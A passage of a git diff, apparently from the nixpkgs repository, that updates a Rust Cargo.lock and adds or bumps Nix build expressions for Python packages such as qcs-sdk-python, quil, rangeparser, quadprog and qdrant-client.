"1.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2697,17 +3113,26 @@ dependencies = [ "backtrace", "bytes", "libc", - "mio 0.8.9", + "mio", "num_cpus", "parking_lot", "pin-project-lite", - "signal-hook-registry", "socket2 0.5.5", "tokio-macros", "windows-sys 0.48.0", ] [[package]] +name = "tokio-io-timeout" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "30b74022ada614a1b4834de765f9bb43877f910cc8ce4be40e89042c9223a8bf" +dependencies = [ + "pin-project-lite", + "tokio", +] + +[[package]] name = "tokio-macros" version = "2.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2720,24 +3145,46 @@ dependencies = [ [[package]] name = "tokio-rustls" +version = "0.22.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bc6844de72e57df1980054b38be3a9f4702aba4858be64dd700181a8a6d0e1b6" +dependencies = [ + "rustls 0.19.1", + "tokio", + "webpki", +] + +[[package]] +name = "tokio-rustls" version = "0.24.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c28327cf380ac148141087fbfb9de9d7bd4e84ab5d2c28fbc911d753de8a7081" dependencies = [ - "rustls", + "rustls 0.21.9", "tokio", ] [[package]] -name = "tokio-tungstenite" -version = "0.20.1" +name = "tokio-socks" +version = "0.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "212d5dcb2a1ce06d81107c3d0ffa3121fe974b73f068c8282cb1c32328113b6c" +checksum = "51165dfa029d2a65969413a6cc96f354b86b464498702f174a4efa13608fd8c0" dependencies = [ + "either", "futures-util", - "log", + "thiserror", + "tokio", +] + +[[package]] +name = "tokio-stream" +version = "0.1.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "397c988d37662c7dda6d2208364a706264bf3d6138b11d436cbac0ad38832842" +dependencies = [ + "futures-core", + "pin-project-lite", "tokio", - "tungstenite", ] [[package]] @@ -2755,6 +3202,110 @@ dependencies = [ ] [[package]] +name = "toml" +version = "0.7.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd79e69d3b627db300ff956027cc6c3798cef26d22526befdfcd12feeb6d2257" +dependencies = [ + "serde", + "serde_spanned", + "toml_datetime", + "toml_edit 0.19.15", +] + +[[package]] +name = "toml" +version = "0.8.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1a195ec8c9da26928f773888e0742ca3ca1040c6cd859c919c9f59c1954ab35" +dependencies = [ + "serde", + "serde_spanned", + "toml_datetime", + "toml_edit 0.21.0", +] + +[[package]] +name = "toml_datetime" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3550f4e9685620ac18a50ed434eb3aec30db8ba93b0287467bca5826ea25baf1" +dependencies = [ + "serde", +] + +[[package]] +name = "toml_edit" +version = "0.19.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b5bb770da30e5cbfde35a2d7b9b8a2c4b8ef89548a7a6aeab5c9a576e3e7421" +dependencies = [ + "indexmap 2.1.0", + "serde", + "serde_spanned", + "toml_datetime", + "winnow", +] + +[[package]] +name = "toml_edit" +version = "0.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d34d383cd00a163b4a5b85053df514d45bc330f6de7737edfe0a93311d1eaa03" +dependencies = [ + "indexmap 2.1.0", + "serde", + "serde_spanned", + "toml_datetime", + "winnow", +] + +[[package]] +name = "tonic" +version = "0.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3082666a3a6433f7f511c7192923fa1fe07c69332d3c6a2e6bb040b569199d5a" +dependencies = [ + "async-stream", + "async-trait", + "axum", + "base64 0.21.5", + "bytes", + "futures-core", + "futures-util", + "h2", + "http", + "http-body", + "hyper", + "hyper-timeout", + "percent-encoding", + "pin-project", + "prost", + "rustls-native-certs 0.6.3", + "rustls-pemfile", + "tokio", + "tokio-rustls 0.24.1", + "tokio-stream", + "tower", + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "tonic-build" +version = "0.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6fdaae4c2c638bb70fe42803a26fbd6fc6ac8c72f5c59f67ecc2a2dcabf4b07" +dependencies = [ + "prettyplease", + "proc-macro2", + "prost-build", + "quote", + "syn 1.0.109", +] + +[[package]] name = "tower" version = "0.4.13" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2762,9 +3313,13 @@ checksum = "b8fa9be0de6cf49e536ce1851f987bd21a43b771b09473c3549a6c853db37c1c" dependencies = [ "futures-core", "futures-util", + "indexmap 1.9.3", "pin-project", "pin-project-lite", + "rand", + "slab", "tokio", + "tokio-util", "tower-layer", "tower-service", "tracing", @@ -2790,50 +3345,144 @@ checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef" dependencies = [ "log", "pin-project-lite", + "tracing-attributes", "tracing-core", ] [[package]] +name = "tracing-attributes" +version = "0.1.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.39", +] + +[[package]] name = "tracing-core" version = "0.1.32" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54" dependencies = [ "once_cell", + "valuable", ] [[package]] -name = "try-lock" -version = "0.2.4" +name = "tracing-log" +version = "0.1.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3528ecfd12c466c6f163363caf2d02a71161dd5e1cc6ae7b34207ea2d42d81ed" +checksum = "f751112709b4e791d8ce53e32c4ed2d353565a795ce84da2285393f41557bdf2" +dependencies = [ + "log", + "once_cell", + "tracing-core", +] [[package]] -name = "tungstenite" -version = "0.20.1" +name = "tracing-log" +version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9e3dac10fd62eaf6617d3a904ae222845979aec67c615d1c842b4002c7666fb9" +checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3" dependencies = [ - "byteorder", - "bytes", - "data-encoding", - "http", - "httparse", "log", - "rand", - "sha1", - "thiserror", - "url", - "utf-8", + "once_cell", + "tracing-core", +] + +[[package]] +name = "tracing-opentelemetry" +version = "0.20.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc09e402904a5261e42cf27aea09ccb7d5318c6717a9eec3d8e2e65c56b18f19" +dependencies = [ + "once_cell", + "opentelemetry", + "tracing", + "tracing-core", + "tracing-log 0.1.4", + "tracing-subscriber", +] + +[[package]] +name = "tracing-subscriber" +version = "0.3.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ad0f048c97dbd9faa9b7df56362b8ebcaa52adb06b498c050d2f4e32f90a7a8b" +dependencies = [ + "nu-ansi-term", + "sharded-slab", + "smallvec", + "thread_local", + "tracing-core", + "tracing-log 0.2.0", ] [[package]] +name = "try-lock" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3528ecfd12c466c6f163363caf2d02a71161dd5e1cc6ae7b34207ea2d42d81ed" + +[[package]] name = "typenum" version = "1.17.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825" [[package]] +name = "unic-char-property" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8c57a407d9b6fa02b4795eb81c5b6652060a15a7903ea981f3d723e6c0be221" +dependencies = [ + "unic-char-range", +] + +[[package]] +name = "unic-char-range" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0398022d5f700414f6b899e10b8348231abf9173fa93144cbc1a43b9793c1fbc" + +[[package]] +name = "unic-common" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "80d7ff825a6a654ee85a63e80f92f054f904f21e7d12da4e22f9834a4aaa35bc" + +[[package]] +name = "unic-ucd-ident" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e230a37c0381caa9219d67cf063aa3a375ffed5bf541a452db16e744bdab6987" +dependencies = [ + "unic-char-property", + "unic-char-range", + "unic-ucd-version", +] + +[[package]] +name = "unic-ucd-version" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96bd2f2237fe450fcd0a1d2f5f4e91711124f7857ba2e964247776ebeeb7b0c4" +dependencies = [ + "unic-common", +] + +[[package]] +name = "unicase" +version = "2.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f7d2d4dafb69621809a81864c9c1b864479e1235c0dd4e199924b9742439ed89" +dependencies = [ + "version_check", +] + +[[package]] name = "unicode-bidi" version = "0.3.13" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2855,10 +3504,22 @@ dependencies = [ ] [[package]] -name = "unicode-segmentation" -version = "1.10.1" +name = "unicode-width" +version = "0.1.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1dd624098567895118886609431a7c3b8f516e41d30e0643f03d94592a147e36" +checksum = "e51733f11c9c4f72aa0c160008246859e340b00807569a0da0e7a1079b27ba85" + +[[package]] +name = "unindent" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7de7d73e1754487cb58364ee906a499937a0dfabd86bcb980fa99ec8c8fa2ce" + +[[package]] +name = "untrusted" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a156c684c91ea7d62626509bce3cb4e1d9ed5c4d978f7b4352658f96a4c26b4a" [[package]] name = "untrusted" @@ -2878,71 +3539,65 @@ dependencies = [ ] [[package]] -name = "utf-8" -version = "0.7.6" +name = "urlencoding" +version = "2.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9" +checksum = "daf8dba3b7eb870caf1ddeed7bc9d2a049f3cfdfae7cb521b087cc33ae4c49da" [[package]] -name = "utf8parse" -version = "0.2.1" +name = "urlpattern" +version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" +checksum = "f9bd5ff03aea02fa45b13a7980151fe45009af1980ba69f651ec367121a31609" +dependencies = [ + "derive_more", + "regex", + "serde", + "unic-ucd-ident", + "url", +] [[package]] name = "uuid" version = "1.6.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5e395fcf16a7a3d8127ec99782007af141946b4795001f876d54fb0d55978560" +dependencies = [ + "getrandom", +] [[package]] -name = "version_check" -version = "0.9.4" +name = "valuable" +version = "0.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" +checksum = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d" [[package]] -name = "vlq" -version = "0.5.1" +name = "vec_map" +version = "0.8.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "65dd7eed29412da847b0f78bcec0ac98588165988a8cfe41d4ea1d429f8ccfff" +checksum = "f1bddf1187be692e79c5ffeab891132dfb0f236ed36a43c7ed39f1165ee20191" [[package]] -name = "walkdir" -version = "2.4.0" +name = "version-compare" +version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d71d857dc86794ca4c280d616f7da00d2dbfd8cd788846559a6813e6aa4b54ee" -dependencies = [ - "same-file", - "winapi-util", -] +checksum = "579a42fc0b8e0c63b76519a339be31bed574929511fa53c1a3acae26eb258f29" [[package]] -name = "walrus" -version = "0.20.3" +name = "version_check" +version = "0.9.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2c03529cd0c4400a2449f640d2f27cd1b48c3065226d15e26d98e4429ab0adb7" -dependencies = [ - "anyhow", - "gimli 0.26.2", - "id-arena", - "leb128", - "log", - "walrus-macro", - "wasm-encoder", - "wasmparser", -] +checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" [[package]] -name = "walrus-macro" -version = "0.19.0" +name = "walkdir" +version = "2.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0a6e5bd22c71e77d60140b0bd5be56155a37e5bd14e24f5f87298040d0cc40d7" +checksum = "d71d857dc86794ca4c280d616f7da00d2dbfd8cd788846559a6813e6aa4b54ee" dependencies = [ - "heck 0.3.3", - "proc-macro2", - "quote", - "syn 1.0.109", + "same-file", + "winapi-util", ] [[package]] @@ -2955,6 +3610,35 @@ dependencies = [ ] [[package]] +name = "warp" +version = "0.3.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c1e92e22e03ff1230c03a1a8ee37d2f89cd489e2e541b7550d6afad96faed169" +dependencies = [ + "bytes", + "futures-channel", + "futures-util", + "headers", + "http", + "hyper", + "log", + "mime", + "mime_guess", + "percent-encoding", + "pin-project", + "rustls-pemfile", + "scoped-tls", + "serde", + "serde_json", + "serde_urlencoded", + "tokio", + "tokio-stream", + "tokio-util", + "tower-service", + "tracing", +] + +[[package]] name = "wasi" version = "0.11.0+wasi-snapshot-preview1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2986,38 +3670,6 @@ dependencies = [ ] [[package]] -name = "wasm-bindgen-cli-support" -version = "0.2.89" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cf8226e223e2dfbe8f921b7f20b82d1b5d86a6b143e9d6286cca8edd16695583" -dependencies = [ - "anyhow", - "base64 0.9.3", - "log", - "rustc-demangle", - "serde_json", - "tempfile", - "unicode-ident", - "walrus", - "wasm-bindgen-externref-xform", - "wasm-bindgen-multi-value-xform", - "wasm-bindgen-shared", - "wasm-bindgen-threads-xform", - "wasm-bindgen-wasm-conventions", - "wasm-bindgen-wasm-interpreter", -] - -[[package]] -name = "wasm-bindgen-externref-xform" -version = "0.2.89" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b8a719be856d8b0802c7195ca26ee6eb02cb9639a12b80be32db960ce9640cb8" -dependencies = [ - "anyhow", - "walrus", -] - -[[package]] name = "wasm-bindgen-futures" version = "0.4.39" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -3053,86 +3705,47 @@ dependencies = [ ] [[package]] -name = "wasm-bindgen-multi-value-xform" -version = "0.2.89" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a12766255d4b9026700376cc81894eeb62903e4414cbc94675f6f9babd9cfb76" -dependencies = [ - "anyhow", - "walrus", -] - -[[package]] name = "wasm-bindgen-shared" version = "0.2.89" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7ab9b36309365056cd639da3134bf87fa8f3d86008abf99e612384a6eecd459f" [[package]] -name = "wasm-bindgen-threads-xform" -version = "0.2.89" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "13c2b14c5b9c2c7aa9dd1eb7161857de9783f40e98582e7f41f2d7c04ffdc155" -dependencies = [ - "anyhow", - "walrus", - "wasm-bindgen-wasm-conventions", -] - -[[package]] -name = "wasm-bindgen-wasm-conventions" -version = "0.2.89" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "aaedf88769cb23c6fd2e3bfed65bcbff6c5d92c8336afbd80d2dfcc8eb5cf047" -dependencies = [ - "anyhow", - "walrus", -] - -[[package]] -name = "wasm-bindgen-wasm-interpreter" -version = "0.2.89" +name = "web-sys" +version = "0.3.66" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a8a79039df1e0822e6d66508ec86052993deac201e26060f62abcd85e1daf951" +checksum = "50c24a44ec86bb68fbecd1b3efed7e85ea5621b39b35ef2766b66cd984f8010f" dependencies = [ - "anyhow", - "log", - "walrus", - "wasm-bindgen-wasm-conventions", + "js-sys", + "wasm-bindgen", ] [[package]] -name = "wasm-encoder" -version = "0.29.0" +name = "webpki" +version = "0.21.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "18c41dbd92eaebf3612a39be316540b8377c871cb9bde6b064af962984912881" +checksum = "b8e38c0608262c46d4a56202ebabdeb094cef7e560ca7a226c6bf055188aa4ea" dependencies = [ - "leb128", + "ring 0.16.20", + "untrusted 0.7.1", ] [[package]] -name = "wasmparser" -version = "0.80.2" +name = "webpki-roots" +version = "0.25.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "449167e2832691a1bff24cde28d2804e90e09586a448c8e76984792c44334a6b" +checksum = "1778a42e8b3b90bff8d0f5032bf22250792889a5cdc752aa0020c84abe3aaf10" [[package]] -name = "web-sys" -version = "0.3.66" +name = "which" +version = "3.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "50c24a44ec86bb68fbecd1b3efed7e85ea5621b39b35ef2766b66cd984f8010f" +checksum = "d011071ae14a2f6671d0b74080ae0cd8ebf3a6f8c9589a2cd45f23126fe29724" dependencies = [ - "js-sys", - "wasm-bindgen", + "libc", ] [[package]] -name = "webpki-roots" -version = "0.25.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1778a42e8b3b90bff8d0f5032bf22250792889a5cdc752aa0020c84abe3aaf10" - -[[package]] name = "which" version = "4.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -3146,12 +3759,6 @@ dependencies = [ [[package]] name = "winapi" -version = "0.2.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "167dc9d6949a9b857f3451275e911c3f44255842c1f7a76f33c55103a909087a" - -[[package]] -name = "winapi" version = "0.3.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" @@ -3161,12 +3768,6 @@ dependencies = [ ] [[package]] -name = "winapi-build" -version = "0.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2d315eee3b34aca4797b2da6b13ed88266e6d612562a0c46390af8299fc699bc" - -[[package]] name = "winapi-i686-pc-windows-gnu" version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -3178,7 +3779,7 @@ version = "0.1.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f29e6f9198ba0d26b4c9f07dbe6f9ed633e1f3d5b8b414090084349e46a52596" dependencies = [ - "winapi 0.3.9", + "winapi", ] [[package]] @@ -3188,15 +3789,6 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" [[package]] -name = "windows-core" -version = "0.51.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f1f8cf84f35d2db49a46868f947758c7a1138116f7fac3bc844f43ade1292e64" -dependencies = [ - "windows-targets 0.48.5", -] - -[[package]] name = "windows-sys" version = "0.45.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -3395,41 +3987,22 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" [[package]] -name = "winreg" -version = "0.50.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "524e57b2c537c0f9b1e69f1965311ec12182b4122e45035b1508cd24d2adadb1" -dependencies = [ - "cfg-if 1.0.0", - "windows-sys 0.48.0", -] - -[[package]] -name = "ws2_32-sys" -version = "0.2.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d59cefebd0c892fa2dd6de581e937301d8552cb44489cdff035c6187cb63fa5e" -dependencies = [ - "winapi 0.2.8", - "winapi-build", -] - -[[package]] -name = "wyz" -version = "0.5.1" +name = "winnow" +version = "0.5.25" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "05f360fc0b24296329c78fda852a1e9ae82de9cf7b27dae4b7f62f118f77b9ed" +checksum = "b7e87b8dfbe3baffbe687eef2e164e32286eff31a5ee16463ce03d991643ec94" dependencies = [ - "tap", + "memchr", ] [[package]] -name = "xattr" -version = "1.0.1" +name = "winreg" +version = "0.50.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f4686009f71ff3e5c4dbcf1a282d0a44db3f021ba69350cd42086b3e5f1c6985" +checksum = "524e57b2c537c0f9b1e69f1965311ec12182b4122e45035b1508cd24d2adadb1" dependencies = [ - "libc", + "cfg-if 1.0.0", + "windows-sys 0.48.0", ] [[package]] @@ -3443,38 +4016,38 @@ dependencies = [ [[package]] name = "yansi" -version = "1.0.0-rc.1" +version = "0.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1367295b8f788d371ce2dbc842c7b709c73ee1364d30351dd300ec2203b12377" +checksum = "09041cd90cf85f7f8b2df60c646f853b7f535ce68f85244eb6731cf89fa498ec" [[package]] -name = "zerocopy" -version = "0.7.26" +name = "zeromq-src" +version = "0.2.6+4.3.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e97e415490559a91254a2979b4829267a57d2fcd741a98eee8b722fb57289aa0" +checksum = "fc120b771270365d5ed0dfb4baf1005f2243ae1ae83703265cb3504070f4160b" dependencies = [ - "zerocopy-derive", + "cc", + "dircpy", ] [[package]] -name = "zerocopy-derive" -version = "0.7.26" +name = "zmq" +version = "0.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dd7e48ccf166952882ca8bd778a43502c64f33bf94c12ebe2a7f08e5a0f6689f" +checksum = "dd3091dd571fb84a9b3e5e5c6a807d186c411c812c8618786c3c30e5349234e7" dependencies = [ - "proc-macro2", - "quote", - "syn 2.0.39", + "bitflags 1.3.2", + "libc", + "zmq-sys", ] [[package]] -name = "zip" -version = "0.6.6" +name = "zmq-sys" +version = "0.12.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "760394e246e4c28189f19d488c058bf16f564016aefac5d32bb1f3b51d5e9261" +checksum = "8e8351dc72494b4d7f5652a681c33634063bbad58046c1689e75270908fdc864" dependencies = [ - "byteorder", - "crc32fast", - "crossbeam-utils", - "flate2", + "libc", + "system-deps", + "zeromq-src", ] diff --git a/pkgs/development/python-modules/qcs-sdk-python/default.nix b/pkgs/development/python-modules/qcs-sdk-python/default.nix new file mode 100644 index 0000000000000..8144cad691335 --- /dev/null +++ b/pkgs/development/python-modules/qcs-sdk-python/default.nix @@ -0,0 +1,67 @@ +{ lib +, buildPythonPackage +, pythonOlder +, fetchFromGitHub +, rustPlatform +, quil +, pytest-asyncio +, pytestCheckHook +, syrupy +}: + +buildPythonPackage rec { + pname = "qcs-sdk-python"; + version = "0.16.3"; + pyproject = true; + + disabled = pythonOlder "3.8"; + + src = fetchFromGitHub { + owner = "rigetti"; + repo = "qcs-sdk-rust"; + rev = "python/v${version}"; + hash = "sha256-Q2PCARxaWqgVVnr2O+zhGcNHghC4gr31bxkv6+Rf/EQ="; + }; + + cargoDeps = rustPlatform.importCargoLock { + lockFile = ./Cargo.lock; + outputHashes = { + "quil-rs-0.22.5" = "sha256-HUp41mOBjyAavhjFO5IJXHh2dVPcpFuDJ03nyRRuCCk="; + }; + }; + + buildAndTestSubdir = "crates/python"; + + nativeBuildInputs = [ + rustPlatform.cargoSetupHook + rustPlatform.maturinBuildHook + ]; + + propagatedBuildInputs = [ + quil + ]; + + nativeCheckInputs = [ + pytest-asyncio + pytestCheckHook + syrupy + ]; + + disabledTests = [ + "test_compile_program" + "test_conjugate_pauli_by_clifford" + "test_execute_qvm" + "test_generate_randomized_benchmark_sequence" + "test_get_report" + "test_get_version_info" + "test_list_quantum_processors_timeout" + ]; + + meta = { + changelog = "https://github.com/rigetti/qcs-sdk-rust/blob/${src.rev}/crates/python/CHANGELOG.md"; + description = "Python interface for the QCS Rust SDK"; + homepage = "https://github.com/rigetti/qcs-sdk-rust/tree/main/crates/python"; + license = lib.licenses.asl20; + maintainers = with lib.maintainers; [ dotlambda ]; + }; +} diff --git a/pkgs/development/python-modules/qdrant-client/default.nix b/pkgs/development/python-modules/qdrant-client/default.nix index 27b453c497dc0..149e6b671e1d5 100644 --- a/pkgs/development/python-modules/qdrant-client/default.nix +++ b/pkgs/development/python-modules/qdrant-client/default.nix @@ -18,7 +18,7 @@ buildPythonPackage rec { pname = "qdrant-client"; - version = "1.7.3"; + version = "1.8.0"; format = "pyproject"; disabled = pythonOlder "3.7"; @@ -27,7 +27,7 @@ buildPythonPackage rec { owner = "qdrant"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-VU2/kK7zpiuHbPtt1Qh8pdgen4KoIIKsyC479LATO84="; + hash = "sha256-Q+Iyjru4viAxJLDQdbNtsYctnXj8N4glItt44D9HPd8="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/quadprog/default.nix b/pkgs/development/python-modules/quadprog/default.nix index 47a3f4e1a5558..c566887bb3634 100644 --- a/pkgs/development/python-modules/quadprog/default.nix +++ b/pkgs/development/python-modules/quadprog/default.nix @@ -3,6 +3,7 @@ , pythonOlder , fetchFromGitHub , cython +, setuptools , numpy , pytestCheckHook , scipy @@ -10,40 +11,32 @@ buildPythonPackage rec { pname = "quadprog"; - version = "0.1.11"; - format = "setuptools"; + version = "0.1.12"; + pyproject = true; - disabled = pythonOlder "3.7"; + disabled = pythonOlder "3.8"; src = fetchFromGitHub { - owner = pname; - repo = pname; + owner = "quadprog"; + repo = "quadprog"; rev = "v${version}"; - hash = "sha256-/suv1KbG3HbiYqEiuCtB/ia3xbxAO5AMuWx1Svy0rMw="; + hash = "sha256-3S846PaNfZ4j3r6Vi2o6+Jk+2kC/P7tMSQQiB/Kx8nI="; }; nativeBuildInputs = [ cython + setuptools ]; propagatedBuildInputs = [ numpy ]; - preBuild = '' - cython quadprog/quadprog.pyx - ''; - nativeCheckInputs = [ pytestCheckHook scipy ]; - pytestFlagsArray = [ - # test fails on aarch64-darwin - "--deselect=tests/test_1.py::test_5" - ]; - meta = with lib; { homepage = "https://github.com/quadprog/quadprog"; changelog = "https://github.com/quadprog/quadprog/releases/tag/v${version}"; diff --git a/pkgs/development/python-modules/quil/default.nix b/pkgs/development/python-modules/quil/default.nix new file mode 100644 index 0000000000000..181f82d5f4332 --- /dev/null +++ b/pkgs/development/python-modules/quil/default.nix @@ -0,0 +1,65 @@ +{ lib +, buildPythonPackage +, pythonOlder +, fetchFromGitHub +, rustPlatform +, numpy +, pytestCheckHook +, syrupy +}: + +buildPythonPackage rec { + pname = "quil"; + version = "0.6.5"; + pyproject = true; + + disabled = pythonOlder "3.8"; + + src = fetchFromGitHub { + owner = "rigetti"; + repo = "quil-rs"; + rev = "quil-py/v${version}"; + hash = "sha256-SYq0NOzYGJuXFPGjvYzGgKvioCk0hBxLR5S6VFU5d88="; + }; + + cargoDeps = rustPlatform.fetchCargoTarball { + name = "${pname}-${version}"; + inherit src; + hash = "sha256-qZY9eQxxlH59DE/RrZFC3G6Pp3IdJupPN5AhUnrKSKs="; + }; + + buildAndTestSubdir = "quil-py"; + + preConfigure = '' + cargo metadata --offline + ''; + + nativeBuildInputs = [ + rustPlatform.cargoSetupHook + rustPlatform.maturinBuildHook + ]; + + propagatedBuildInputs = [ + numpy + ]; + + pythonImportsCheck = [ "numpy" ]; + + nativeCheckInputs = [ + pytestCheckHook + syrupy + ]; + + disabledTests = [ + # Syrupy snapshot needs to be regenerated + "test_filter_instructions" + ]; + + meta = { + changelog = "https://github.com/rigetti/quil-rs/blob/${src.rev}/quil-py/CHANGELOG.md"; + description = "Python package for building and parsing Quil programs"; + homepage = "https://github.com/rigetti/quil-rs/tree/main/quil-py"; + license = lib.licenses.asl20; + maintainers = with lib.maintainers; [ dotlambda ]; + }; +} diff --git a/pkgs/development/python-modules/rangeparser/default.nix b/pkgs/development/python-modules/rangeparser/default.nix new file mode 100644 index 0000000000000..8cc4833975c0c --- /dev/null +++ b/pkgs/development/python-modules/rangeparser/default.nix @@ -0,0 +1,40 @@ +{ lib +, buildPythonPackage +, fetchPypi +, pytestCheckHook +, pythonOlder +, setuptools +}: + +buildPythonPackage rec { + pname = "rangeparser"; + version = "0.1.3"; + pyproject = true; + + disabled = pythonOlder "3.6"; + + src = fetchPypi { + pname = "RangeParser"; + inherit version; + hash = "sha256-gjA7Iytg802Lv7/rLfhGE0yjz4e6FfOXbEoWNPjhCOY="; + }; + + nativeBuildInputs = [ + setuptools + ]; + + nativeCheckInputs = [ + pytestCheckHook + ]; + + pythonImportsCheck = [ + "rangeparser" + ]; + + meta = with lib; { + description = "Parses ranges"; + homepage = "https://pypi.org/project/RangeParser/"; + license = licenses.bsd2; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/rasterio/default.nix b/pkgs/development/python-modules/rasterio/default.nix index 0e216ce185087..324c658494334 100644 --- a/pkgs/development/python-modules/rasterio/default.nix +++ b/pkgs/development/python-modules/rasterio/default.nix @@ -106,7 +106,10 @@ buildPythonPackage rec { "-m 'not network'" ]; - disabledTests = lib.optionals stdenv.isDarwin [ + disabledTests = [ + # flaky + "test_outer_boundless_pixel_fidelity" + ] ++ lib.optionals stdenv.isDarwin [ "test_reproject_error_propagation" ]; diff --git a/pkgs/development/python-modules/ratarmount/default.nix b/pkgs/development/python-modules/ratarmount/default.nix index f07b28bec4f40..cc235710a6891 100644 --- a/pkgs/development/python-modules/ratarmount/default.nix +++ b/pkgs/development/python-modules/ratarmount/default.nix @@ -8,14 +8,14 @@ buildPythonPackage rec { pname = "ratarmount"; - version = "0.14.0"; + version = "0.14.1"; format = "setuptools"; disabled = pythonOlder "3.6"; src = fetchPypi { inherit pname version; - hash = "sha256-P+p0h+KuOsunPsXbRwxzAhr1XcEqMjQxHeHmA29+pDQ="; + hash = 